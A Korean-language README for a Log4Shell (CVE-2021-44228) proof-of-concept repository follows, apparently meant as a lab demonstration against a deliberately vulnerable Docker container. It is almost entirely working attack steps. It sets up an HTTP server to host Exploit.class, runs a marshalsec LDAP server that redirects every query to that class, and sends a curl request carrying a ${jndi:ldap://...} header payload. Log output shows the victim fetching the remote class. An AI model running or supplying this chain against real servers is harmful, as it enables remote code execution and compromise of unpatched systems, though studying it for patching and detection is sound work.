
CVE-2021-44228용 PoC.
이 저장소의 목적은 CVE-2021-44228 (별명 Log4Shell)을 익스플로잇하는 데 필요한 모든 구성 요소를 제공하고, 이를 악용하는 방법을 보여주는 것입니다.
이 취약점을 악용하는 데 필요한 요소는 다음과 같습니다:
크레딧:
사전 요구 사항:
LDAP 서버 및 HTTP 서버 실행HTTP 서버1. exploit 폴더로 이동하여 Python을 통해 http 서버를 실행합니다.
python3 -m http.server PORT
LDAP 서버1. ldap_server 폴더로 이동하여 pom.xml을 빌드합니다.
mvn clean package -DskipTests
2. target 폴더로 이동하여 http_server_ip와 http_server_port를 지정하여 서버를 실행합니다.
java -cp ldap_server-1.0-all.jar marshalsec.jndi.LDAPRefServer "http://http_server_ip:http_server_port/#Exploit"
참고: 이 명령은 모든 LDAP 쿼리에 대해 Exploit.class URI로 응답하도록 강제하여 악성 LDAP 서버를 실행합니다.
취약한 애플리케이션 실행도커 취약한 애플리케이션 컨테이너를 실행합니다.
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
참고: 기본적으로 취약한 애플리케이션을 포트 8080에서 실행합니다. 필요에 따라 변경할 수 있습니다.
취약한_애플리케이션, ldap_server 및 http_server가 실행 중이면 취약한 서버에 악성 HTTP 요청을 보냅니다.
curl VULNERABLE_APPLICATION_IP:8080 -H 'X-Api-Version: ${jndi:ldap://ldap_server_ip:1389/a}'
취약한_애플리케이션은 페이로드를 로그에 기록하고 LDAP 쿼리를 수행합니다.
2021-12-24 18:48:14.644 INFO 1 --- [nio-8080-exec-1] HelloWorld: Received a request for API version ${jndi:ldap://10.0.2.15:1389/a}
ldap_server는 Exploit.class URI로 응답합니다.
Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to http://10.0.2.15:8443/Exploit.class
http_server는 Exploit.class에 대한 요청을 수신합니다.
Serving HTTP on 0.0.0.0 port 8443 (http://0.0.0.0:8443/) ...
172.17.0.2 - - [24/Dec/2021 19:48:14] "GET /Exploit.class HTTP/1.1" 200 -
마지막으로, 익스플로잇이 피해자 파일 시스템에 새 파일을 생성했는지 확인할 수 있습니다. 이 예제에서는 도커 컨테이너 파일 시스템을 확인해야 합니다.

https://www.lunasec.io/docs/blog/log4j-zero-day/
https://github.com/mbechler/marshalsec
https://github.com/christophetd/log4shell-vulnerable-app